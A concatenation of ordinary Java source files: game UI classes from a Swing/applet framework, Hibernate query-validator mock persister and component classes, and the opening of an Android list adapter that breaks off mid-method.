if (l == null) {
br.close();
return null;
}
segments = splitCells(l);
if (lineLength == -1) {
lineLength = segments.length;
}
if (lineLength != -1 && segments.length != lineLength)
throw new Exception("Each row has to have exactly " + lineLength + " cells! \n This row only has " + segments.length + ": " + l);
lIndex = index;
index = 0;
}
lIndex = index;
return segments[index++].trim();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private String[] splitCells(String row) {
ArrayList<String> cells = new ArrayList<>();
String r = row;
while (r.indexOf(sep) > -1) {
cells.add(r.substring(0, r.indexOf(sep)));
r = r.substring(r.indexOf(sep) + 1);
}
cells.add(r);
return cells.toArray(new String[] {});
}
}
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup.applet;
import java.awt.AlphaComposite;
import java.awt.Canvas;
import java.awt.Color;
import java.awt.Composite;
import java.awt.Dimension;
import java.awt.Graphics2D;
import java.awt.image.BufferStrategy;
import java.util.concurrent.CopyOnWriteArrayList;
import javax.swing.JApplet;
import de.dakror.gamesetup.GameFrame;
import de.dakror.gamesetup.util.Helper;
/**
* @author Dakror
*/
public abstract class GameApplet extends GameFrame {
public static GameApplet currentApplet;
public static JApplet applet;
public static Dimension size;
protected Canvas canvas;
public GameApplet() {
currentApplet = this;
}
@Override
@Deprecated
public void init(String title) {}
public void init(JApplet a) {
applet = a;
size = applet.getSize();
canvas = new Canvas();
canvas.setSize(applet.getSize());
applet.add(canvas);
canvas.createBufferStrategy(2);
canvas.addKeyListener(this);
canvas.addMouseListener(this);
canvas.addMouseMotionListener(this);
canvas.addMouseWheelListener(this);
canvas.setBackground(Color.black);
canvas.setForeground(Color.white);
frames = 0;
start = 0;
layers = new CopyOnWriteArrayList<>();
initGame();
}
@Override
@Deprecated
public void setFullscreen() {}
@Override
@Deprecated
public void setWindowed() {}
@Override
@Deprecated
public void setWindowed(int width, int height) {}
@Override
public void main() {
if (start == 0) start = System.currentTimeMillis();
if (last == 0) last = System.currentTimeMillis();
if (System.currentTimeMillis() - last >= 1000) {
framesSolid = frames;
frames = 0;
last = System.currentTimeMillis();
}
BufferStrategy s = null;
Graphics2D g = null;
try {
s = canvas.getBufferStrategy();
g = (Graphics2D) s.getDrawGraphics();
} catch (Exception e) {
return;
}
g.clearRect(0, 0, getWidth(), getHeight());
Helper.setRenderingHints(g, true);
draw(g);
if (alpha > 0) {
Composite c1 = g.getComposite();
g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, alpha));
g.setColor(Color.black);
g.fillRect(0, 0, getWidth(), getHeight());
g.setComposite(c1);
}
g.dispose();
try {
if (!s.contentsLost()) s.show();
} catch (Exception e) {
return;
}
frames++;
}
public static int getWidth() {
return size.width;
}
public static int getHeight() {
return size.height;
}
}
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup.ui;
import java.awt.Graphics2D;
import java.awt.event.KeyEvent;
import java.awt.event.MouseEvent;
import java.awt.event.MouseWheelEvent;
import java.util.concurrent.CopyOnWriteArrayList;
import de.dakror.gamesetup.GameFrame;
import de.dakror.gamesetup.util.Drawable;
import de.dakror.gamesetup.util.EventListener;
/**
* @author Dakror
*/
public abstract class Container extends EventListener implements Drawable {
public static class DefaultContainer extends Container {
@Override
public void draw(Graphics2D g) {
drawComponents(g);
}
@Override
public void update(int tick) {
updateComponents(tick);
}
}
public CopyOnWriteArrayList<Component> components;
protected boolean enabled;
public int translateX, translateY;
public Container() {
components = new CopyOnWriteArrayList<>();
enabled = true;
translateX = translateY = 0;
}
protected void drawComponents(Graphics2D g) {
Component hovered = null;
for (Component c : components) {
c.draw(g);
if (c.state == 2) hovered = c;
}
if (hovered != null) hovered.drawTooltip(GameFrame.currentFrame.mouse.x, GameFrame.currentFrame.mouse.y, g);
}
protected void updateComponents(int tick) {
if (!enabled) return;
for (Component c : components)
c.update(tick);
}
@Override
public void mouseWheelMoved(MouseWheelEvent e) {
if (!enabled) return;
for (Component c : components)
c.mouseWheelMoved(e);
}
@Override
public void mouseDragged(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mouseDragged(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void mouseMoved(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mouseMoved(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void mouseClicked(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mouseClicked(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void mousePressed(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mousePressed(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void mouseReleased(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mouseReleased(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void mouseEntered(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mouseEntered(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void mouseExited(MouseEvent e) {
if (!enabled) return;
e.translatePoint(translateX, translateY);
for (Component c : components)
c.mouseExited(e);
e.translatePoint(-translateX, -translateY);
}
@Override
public void keyTyped(KeyEvent e) {
if (!enabled) return;
for (Component c : components)
c.keyTyped(e);
}
@Override
public void keyPressed(KeyEvent e) {
if (!enabled) return;
for (Component c : components)
c.keyPressed(e);
}
@Override
public void keyReleased(KeyEvent e) {
if (!enabled) return;
for (Component c : components)
c.keyReleased(e);
}
public boolean isEnabled() {
return enabled;
}
public void setEnabled(boolean enabled) {
this.enabled = enabled;
}
}
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup.ui.button;
import java.awt.Graphics2D;
import java.awt.Image;
import de.dakror.gamesetup.GameFrame;
import de.dakror.gamesetup.ui.ClickableComponent;
import de.dakror.gamesetup.util.Helper;
/**
* @author Dakror
*/
public class IconButton extends ClickableComponent {
Image img;
boolean biggerOnHover;
public boolean mode1, mode2, doubled, shadow;
public String tooltip;
public IconButton(int x, int y, int width, int height, String img) {
this(x, y, width, height, GameFrame.getImage(img));
}
public IconButton(int x, int y, int width, int height, Image img) {
super(x, y, width, height);
this.img = img.getScaledInstance(width + 10, height + 20, Image.SCALE_SMOOTH);
mode1 = false;
mode2 = false;
doubled = false;
setBiggerOnHover(true);
shadow = true;
}
@Override
public void draw(Graphics2D g) {
if (mode1) {
Helper.drawShadow(x - (state > 0 && biggerOnHover ? 5 : 0) - 10, y - (state > 0 && biggerOnHover ? 5 : 0) - 10, width + (state > 0 && biggerOnHover ? 10 : 0) + 20, height
+ (state > 0 && biggerOnHover ? 10 : 0) + 20, g);
if (state != 1) Helper.drawOutline(x - (state > 0 && biggerOnHover ? 5 : 0) - 10, y - (state > 0 && biggerOnHover ? 5 : 0) - 10, width
+ (state > 0 && biggerOnHover ? 10 : 0) + 20, height + (state > 0 && biggerOnHover ? 10 : 0) + 20, state == 1, g);
else Helper.drawContainer(x - (state > 0 && biggerOnHover ? 5 : 0) - 10, y - (state > 0 && biggerOnHover ? 5 : 0) - 10, width + (state > 0 && biggerOnHover ? 10 : 0) + 20,
height + (state > 0 && biggerOnHover ? 10 : 0) + 20, false, false, shadow, g);
} else if (mode2) {
Helper.drawContainer(x - (state > 0 && biggerOnHover ? 5 : 0) - 10, y - (state > 0 && biggerOnHover ? 5 : 0) - 10, width + (state > 0 && biggerOnHover ? 10 : 0) + 20, height
+ (state > 0 && biggerOnHover ? 10 : 0) + 20, doubled, state == 1, shadow, g);
}
g.drawImage(img, x - (state > 0 && biggerOnHover ? 5 : 0), y - (state > 0 && biggerOnHover ? 5 : 0), width + (state > 0 && biggerOnHover ? 10 : 0), height
+ (state > 0 && biggerOnHover ? 10 : 0), null);
if (!enabled)
Helper.drawShadow(x - (state > 0 && biggerOnHover ? 5 : 0) - (mode1 ? 10 : 20), y - (state > 0 && biggerOnHover ? 5 : 0) - (mode1 ? 10 : 20), width
+ (state > 0 && biggerOnHover ? 10 : 0) + (mode1 ? 20 : 40), height + (state > 0 && biggerOnHover ? 10 : 0) + (mode1 ? 20 : 40), g);
}
public void setBiggerOnHover(boolean bigger) {
biggerOnHover = bigger;
}
@Override
public void update(int tick) {}
@Override
public void drawTooltip(int x, int y, Graphics2D g) {
if (tooltip != null) {
int width = g.getFontMetrics(g.getFont().deriveFont(30f)).stringWidth(tooltip) + 30;
int height = 64;
int x1 = x;
int y1 = y;
if (x1 + width > GameFrame.getWidth()) x1 -= (x1 + width) - GameFrame.getWidth();
if (y1 + height > GameFrame.getHeight()) y1 -= (y1 + height) - GameFrame.getHeight();
Helper.drawShadow(x1, y1, g.getFontMetrics(g.getFont().deriveFont(30f)).stringWidth(tooltip) + 30, height, g);
Helper.drawString(tooltip, x1 + 15, y1 + 40, g, 30);
}
}
}
| 5a05202b330dfd41c425392106902c9c145c0e6c | [
"Markdown",
"Java"
] | 8 | Markdown | Dakror/GameSetup | 1352987918b4f11d0d47ff09b495ad570b9be3c6 | 3163937559c4191e714bc7e6be04a09cc98941ba |
refs/heads/master | <file_sep>package org.hibernate.query.validator;
import org.hibernate.*;
import org.hibernate.bytecode.spi.BytecodeEnhancementMetadata;
import org.hibernate.cache.spi.access.EntityDataAccess;
import org.hibernate.cache.spi.access.NaturalIdDataAccess;
import org.hibernate.cache.spi.entry.CacheEntry;
import org.hibernate.cache.spi.entry.CacheEntryStructure;
import org.hibernate.engine.spi.*;
import org.hibernate.id.IdentifierGenerator;
import org.hibernate.internal.FilterAliasGenerator;
import org.hibernate.metadata.ClassMetadata;
import org.hibernate.metamodel.model.domain.NavigableRole;
import org.hibernate.persister.entity.*;
import org.hibernate.persister.walking.spi.AttributeDefinition;
import org.hibernate.persister.walking.spi.EntityIdentifierDefinition;
import org.hibernate.sql.SelectFragment;
import org.hibernate.tuple.entity.EntityMetamodel;
import org.hibernate.tuple.entity.EntityTuplizer;
import org.hibernate.type.ClassType;
import org.hibernate.type.StandardBasicTypes;
import org.hibernate.type.Type;
import org.hibernate.type.VersionType;
import javax.persistence.AccessType;
import java.io.Serializable;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.*;
import static org.hibernate.query.validator.MockSessionFactory.typeHelper;
abstract class MockEntityPersister implements EntityPersister, Queryable, DiscriminatorMetadata {
private static final String[] ID_COLUMN = {"id"};
private final String entityName;
private final MockSessionFactory factory;
private final List<MockEntityPersister> subclassPersisters = new ArrayList<>();
final AccessType defaultAccessType;
private final Map<String,Type> propertyTypesByName = new HashMap<>();
MockEntityPersister(String entityName,
AccessType defaultAccessType,
MockSessionFactory factory) {
this.entityName = entityName;
this.factory = factory;
this.defaultAccessType = defaultAccessType;
}
void initSubclassPersisters() {
for (MockEntityPersister other: factory.getMockEntityPersisters()) {
other.addPersister(this);
this.addPersister(other);
}
}
private void addPersister(MockEntityPersister entityPersister) {
if (isSubclassPersister(entityPersister)) {
subclassPersisters.add(entityPersister);
}
}
private Type getSubclassPropertyType(String propertyPath) {
return subclassPersisters.stream()
.map(sp -> sp.getPropertyType(propertyPath))
.filter(Objects::nonNull)
.findAny()
.orElse(null);
}
abstract boolean isSubclassPersister(MockEntityPersister entityPersister);
@Override
public SessionFactoryImplementor getFactory() {
return factory;
}
@Override
public String getEntityName() {
return entityName;
}
@Override
public String getName() {
return entityName;
}
@Override
public final Type getPropertyType(String propertyPath) throws MappingException {
Type result = propertyTypesByName.get(propertyPath);
if (result!=null) {
return result;
}
result = createPropertyType(propertyPath);
if (result == null) {
//check subclasses, needed for treat()
result = getSubclassPropertyType(propertyPath);
}
if (result!=null) {
propertyTypesByName.put(propertyPath, result);
}
return result;
}
abstract Type createPropertyType(String propertyPath);
@Override
public Type getIdentifierType() {
//TODO: propertyType(getIdentifierPropertyName())
return StandardBasicTypes.INTEGER;
}
@Override
public String getIdentifierPropertyName() {
//TODO!!!!!!
return "id";
}
@Override
public Type toType(String propertyName) throws QueryException {
Type type = getPropertyType(propertyName);
if (type == null) {
throw new QueryException(getEntityName()
+ " has no mapped "
+ propertyName);
}
return type;
}
@Override
public String getRootEntityName() {
return entityName;
}
@Override
public Declarer getSubclassPropertyDeclarer(String s) {
return Declarer.CLASS;
}
@Override
public String[] toColumns(String alias, String propertyName)
throws QueryException {
return new String[] { "" };
}
@Override
public String[] toColumns(String propertyName)
throws QueryException, UnsupportedOperationException {
return new String[] { "" };
}
@Override
public Type getType() {
return typeHelper.entity(entityName);
}
@Override
public Serializable[] getPropertySpaces() {
return new Serializable[] {entityName};
}
@Override
public Serializable[] getQuerySpaces() {
return new Serializable[] {entityName};
}
@Override
public void generateEntityDefinition() {
throw new UnsupportedOperationException();
}
@Override
public EntityMetamodel getEntityMetamodel() {
throw new UnsupportedOperationException();
}
@Override
public void postInstantiate() throws MappingException {
throw new UnsupportedOperationException();
}
@Override
public NavigableRole getNavigableRole() {
throw new UnsupportedOperationException();
}
@Override
public EntityEntryFactory getEntityEntryFactory() {
throw new UnsupportedOperationException();
}
@Override
public boolean isSubclassEntityName(String s) {
return false;
}
@Override
public boolean hasProxy() {
return false;
}
@Override
public boolean hasCollections() {
return false;
}
@Override
public boolean hasMutableProperties() {
return false;
}
@Override
public boolean hasSubselectLoadableCollections() {
return false;
}
@Override
public boolean hasCascades() {
return false;
}
@Override
public boolean isMutable() {
return false;
}
@Override
public boolean isInherited() {
return false;
}
@Override
public boolean isIdentifierAssignedByInsert() {
return false;
}
@Override
public int[] findDirty(Object[] objects, Object[] objects1, Object o,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public int[] findModified(Object[] objects, Object[] objects1, Object o,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public boolean hasIdentifierProperty() {
return false;
}
@Override
public boolean canExtractIdOutOfEntity() {
return false;
}
@Override
public boolean isVersioned() {
return false;
}
@Override
public VersionType getVersionType() {
return null;
}
@Override
public int getVersionProperty() {
return -66;
}
@Override
public boolean hasNaturalIdentifier() {
return false;
}
@Override
public int[] getNaturalIdentifierProperties() {
throw new UnsupportedOperationException();
}
@Override
public Object[] getNaturalIdentifierSnapshot(Serializable serializable,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public IdentifierGenerator getIdentifierGenerator() {
throw new UnsupportedOperationException();
}
@Override
public boolean hasLazyProperties() {
return false;
}
@Override
public Serializable loadEntityIdByNaturalId(Object[] objects, LockOptions lockOptions,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public Object load(Serializable serializable, Object o, LockMode lockMode,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object load(Serializable serializable, Object o, LockOptions lockOptions,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public List multiLoad(Serializable[] serializables,
SharedSessionContractImplementor sharedSessionContractImplementor,
MultiLoadOptions multiLoadOptions) {
throw new UnsupportedOperationException();
}
@Override
public void lock(Serializable serializable, Object o, Object o1, LockMode lockMode,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public void lock(Serializable serializable, Object o, Object o1, LockOptions lockOptions,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public void insert(Serializable serializable, Object[] objects, Object o,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Serializable insert(Object[] objects, Object o,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public void delete(Serializable serializable, Object o, Object o1,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public void update(Serializable serializable, Object[] objects, int[] ints, boolean b,
Object[] objects1, Object o, Object o1, Object o2,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Type[] getPropertyTypes() {
throw new UnsupportedOperationException();
}
@Override
public String[] getPropertyNames() {
throw new UnsupportedOperationException();
}
@Override
public boolean[] getPropertyInsertability() {
throw new UnsupportedOperationException();
}
@Override
public ValueInclusion[] getPropertyInsertGenerationInclusions() {
throw new UnsupportedOperationException();
}
@Override
public ValueInclusion[] getPropertyUpdateGenerationInclusions() {
throw new UnsupportedOperationException();
}
@Override
public boolean[] getPropertyUpdateability() {
throw new UnsupportedOperationException();
}
@Override
public boolean[] getPropertyCheckability() {
throw new UnsupportedOperationException();
}
@Override
public boolean[] getPropertyNullability() {
throw new UnsupportedOperationException();
}
@Override
public boolean[] getPropertyVersionability() {
throw new UnsupportedOperationException();
}
@Override
public boolean[] getPropertyLaziness() {
throw new UnsupportedOperationException();
}
@Override
public CascadeStyle[] getPropertyCascadeStyles() {
throw new UnsupportedOperationException();
}
@Override
public boolean isCacheInvalidationRequired() {
return false;
}
@Override
public boolean isLazyPropertiesCacheable() {
return false;
}
@Override
public boolean canReadFromCache() {
return false;
}
@Override
public boolean canWriteToCache() {
return false;
}
@Override
public boolean hasCache() {
return false;
}
@Override
public EntityDataAccess getCacheAccessStrategy() {
throw new UnsupportedOperationException();
}
@Override
public CacheEntryStructure getCacheEntryStructure() {
throw new UnsupportedOperationException();
}
@Override
public CacheEntry buildCacheEntry(Object o, Object[] objects, Object o1,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public boolean hasNaturalIdCache() {
return false;
}
@Override
public NaturalIdDataAccess getNaturalIdCacheAccessStrategy() {
throw new UnsupportedOperationException();
}
@Override
public ClassMetadata getClassMetadata() {
throw new UnsupportedOperationException();
}
@Override
public boolean isBatchLoadable() {
return false;
}
@Override
public boolean isSelectBeforeUpdateRequired() {
return false;
}
@Override
public Object[] getDatabaseSnapshot(Serializable serializable,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Serializable getIdByUniqueKey(Serializable serializable, String s,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public Object getCurrentVersion(Serializable serializable,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object forceVersionIncrement(Serializable serializable, Object o,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public boolean isInstrumented() {
return false;
}
@Override
public boolean hasInsertGeneratedProperties() {
return false;
}
@Override
public boolean hasUpdateGeneratedProperties() {
return false;
}
@Override
public boolean isVersionPropertyGenerated() {
return false;
}
@Override
public void afterInitialize(Object o,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public void afterReassociate(Object o,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public Object createProxy(Serializable serializable,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Boolean isTransient(Object o,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object[] getPropertyValuesToInsert(Object o, Map map,
SharedSessionContractImplementor sharedSessionContractImplementor)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public void processInsertGeneratedProperties(Serializable serializable, Object o, Object[] objects,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public void processUpdateGeneratedProperties(Serializable serializable, Object o, Object[] objects,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public Class getMappedClass() {
throw new UnsupportedOperationException();
}
@Override
public boolean implementsLifecycle() {
return false;
}
@Override
public Class getConcreteProxyClass() {
throw new UnsupportedOperationException();
}
@Override
public void setPropertyValues(Object o, Object[] objects) {
throw new UnsupportedOperationException();
}
@Override
public void setPropertyValue(Object o, int i, Object o1) {
throw new UnsupportedOperationException();
}
@Override
public Object[] getPropertyValues(Object o) {
throw new UnsupportedOperationException();
}
@Override
public Object getPropertyValue(Object o, int i) throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object getPropertyValue(Object o, String s) {
throw new UnsupportedOperationException();
}
@Override
public Serializable getIdentifier(Object o) throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Serializable getIdentifier(Object o,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public void setIdentifier(Object o, Serializable serializable,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public Object getVersion(Object o) throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object instantiate(Serializable serializable,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public boolean isInstance(Object o) {
throw new UnsupportedOperationException();
}
@Override
public boolean hasUninitializedLazyProperties(Object o) {
throw new UnsupportedOperationException();
}
@Override
public void resetIdentifier(Object o, Serializable serializable, Object o1,
SharedSessionContractImplementor sharedSessionContractImplementor) {
throw new UnsupportedOperationException();
}
@Override
public EntityPersister getSubclassEntityPersister(Object o, SessionFactoryImplementor sessionFactoryImplementor) {
throw new UnsupportedOperationException();
}
@Override
public EntityMode getEntityMode() {
return EntityMode.POJO;
}
@Override
public EntityTuplizer getEntityTuplizer() {
throw new UnsupportedOperationException();
}
@Override
public BytecodeEnhancementMetadata getInstrumentationMetadata() {
throw new UnsupportedOperationException();
}
@Override
public FilterAliasGenerator getFilterAliasGenerator(String s) {
throw new UnsupportedOperationException();
}
@Override
public int[] resolveAttributeIndexes(String[] strings) {
throw new UnsupportedOperationException();
}
@Override
public boolean canUseReferenceCacheEntries() {
return false;
}
@Override
public EntityPersister getEntityPersister() {
return this;
}
@Override
public EntityIdentifierDefinition getEntityKeyDefinition() {
throw new UnsupportedOperationException();
}
@Override
public Iterable<AttributeDefinition> getAttributes() {
throw new UnsupportedOperationException();
}
@Override
public boolean isAbstract() {
return false;
}
@Override
public void registerAffectingFetchProfile(String s) {
throw new UnsupportedOperationException();
}
@Override
public String getTableAliasForColumn(String s, String s1) {
return "";
}
@Override
public boolean isExplicitPolymorphism() {
return false;
}
@Override
public String getMappedSuperclass() {
return null;
}
@Override
public String getDiscriminatorSQLValue() {
return "";
}
@Override
public String identifierSelectFragment(String name, String suffix) {
return "";
}
@Override
public String propertySelectFragment(String alias, String suffix, boolean b) {
return "";
}
@Override
public SelectFragment propertySelectFragmentFragment(String alias, String suffix, boolean b) {
return new SelectFragment();
}
@Override
public boolean hasSubclasses() {
return false;
}
@Override
public Type getDiscriminatorType() {
throw new UnsupportedOperationException();
}
@Override
public Object getDiscriminatorValue() {
throw new UnsupportedOperationException();
}
@Override
public String getSubclassForDiscriminatorValue(Object o) {
throw new UnsupportedOperationException();
}
@Override
public String[] getKeyColumnNames() {
return getIdentifierColumnNames();
}
@Override
public String[] getIdentifierColumnNames() {
return ID_COLUMN;
}
@Override
public String[] getIdentifierAliases(String suffix) {
throw new UnsupportedOperationException();
}
@Override
public String[] getPropertyAliases(String suffix, int i) {
throw new UnsupportedOperationException();
}
@Override
public String[] getPropertyColumnNames(int i) {
throw new UnsupportedOperationException();
}
@Override
public String getDiscriminatorAlias(String s) {
throw new UnsupportedOperationException();
}
@Override
public String getDiscriminatorColumnName() {
throw new UnsupportedOperationException();
}
@Override
public boolean hasRowId() {
return false;
}
@Override
public Object[] hydrate(ResultSet resultSet, Serializable serializable, Object o, Loadable loadable, String[][] strings, boolean b, SharedSessionContractImplementor sharedSessionContractImplementor) throws SQLException, HibernateException {
throw new UnsupportedOperationException();
}
@Override
public boolean isMultiTable() {
return false;
}
@Override
public String[] getConstraintOrderedTableNameClosure() {
throw new UnsupportedOperationException();
}
@Override
public String[][] getContraintOrderedTableKeyColumnClosure() {
throw new UnsupportedOperationException();
}
@Override
public int getSubclassPropertyTableNumber(String propertyPath) {
throw new UnsupportedOperationException();
}
@Override
public String getSubclassTableName(int i) {
throw new UnsupportedOperationException();
}
@Override
public boolean isVersionPropertyInsertable() {
return false;
}
@Override
public String generateFilterConditionAlias(String s) {
return "";
}
@Override
public DiscriminatorMetadata getTypeDiscriminatorMetadata() {
return this;
}
@Override
public String getSqlFragment(String sqlQualificationAlias) {
return "";
}
@Override
public Type getResolutionType() {
return ClassType.INSTANCE;
}
@Override
public String[][] getSubclassPropertyFormulaTemplateClosure() {
throw new UnsupportedOperationException();
}
@Override
public String getTableName() {
return entityName;
}
@Override
public String selectFragment(Joinable joinable, String s, String s1, String s2, String s3, boolean b) {
return "";
}
@Override
public String whereJoinFragment(String s, boolean b, boolean b1) {
return "";
}
@Override
public String whereJoinFragment(String s, boolean b, boolean b1, Set<String> set) {
return "";
}
@Override
public String fromJoinFragment(String s, boolean b, boolean b1) {
return "";
}
@Override
public String fromJoinFragment(String s, boolean b, boolean b1, Set<String> set) {
return "";
}
@Override
public String filterFragment(String s, Map map) throws MappingException {
return "";
}
@Override
public String filterFragment(String s, Map map, Set<String> set) throws MappingException {
return "";
}
@Override
public String oneToManyFilterFragment(String s) throws MappingException {
return "";
}
@Override
public String oneToManyFilterFragment(String s, Set<String> set) {
return "";
}
@Override
public boolean isCollection() {
return false;
}
@Override
public boolean consumesEntityAlias() {
return true;
}
@Override
public boolean consumesCollectionAlias() {
return false;
}
@Override
public String toString() {
return "MockEntityPersister[" + entityName + "]";
}
}
<file_sep>package org.hibernate.query.validator;
import org.hibernate.HibernateException;
import org.hibernate.engine.spi.SharedSessionContractImplementor;
import org.hibernate.usertype.CompositeUserType;
import java.io.Serializable;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
abstract class MockComponent implements CompositeUserType {
@Override
public Object getPropertyValue(Object component, int property)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public void setPropertyValue(Object component, int property, Object value)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Class returnedClass() {
throw new UnsupportedOperationException();
}
@Override
public boolean equals(Object x, Object y) throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public int hashCode(Object x) throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object nullSafeGet(ResultSet rs, String[] names,
SharedSessionContractImplementor session, Object owner)
throws HibernateException, SQLException {
throw new UnsupportedOperationException();
}
@Override
public void nullSafeSet(PreparedStatement st, Object value, int index,
SharedSessionContractImplementor session)
throws HibernateException, SQLException {
throw new UnsupportedOperationException();
}
@Override
public Object deepCopy(Object value) throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public boolean isMutable() {
return true;
}
@Override
public Serializable disassemble(Object value,
SharedSessionContractImplementor session)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object assemble(Serializable cached,
SharedSessionContractImplementor session, Object owner)
throws HibernateException {
throw new UnsupportedOperationException();
}
@Override
public Object replace(Object original, Object target,
SharedSessionContractImplementor session, Object owner)
throws HibernateException {
throw new UnsupportedOperationException();
}
}
| fe810b268eb5f5d20fbc5a9629521aaac2dc5b88 | [
"Java"
] | 2 | Java | destan/query-validator | fbb4cea6eb23d0c52f0090bd259560823e65ab92 | 85ce2f5524f92bdda7ed588a0e612f54ec36c5a0 |
refs/heads/master | <repo_name>albuquerquerlucas/Caseapp<file_sep>/app/src/main/java/com/luke/caseappmatricula/Adapter/MeusCursosAdapter.java
package com.luke.caseappmatricula.Adapter;
import android.app.Activity;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;
import com.luke.caseappmatricula.Entity.Curso;
import com.luke.caseappmatricula.R;
import java.util.List;
/**
* Created by Lucas on 19/11/2017.
*/
public class MeusCursosAdapter extends ArrayAdapter {
private Activity context;
private int resource;
private List<Curso> cursos;
public MeusCursosAdapter(@NonNull Activity context, int resource, @NonNull List objects) {
super(context, resource, objects);
this.context = context;
this.resource = resource;
this.cursos = objects;
}
@NonNull
@Override
public View getView(int position, @Nullable View convertView, @NonNull ViewGroup parent) {
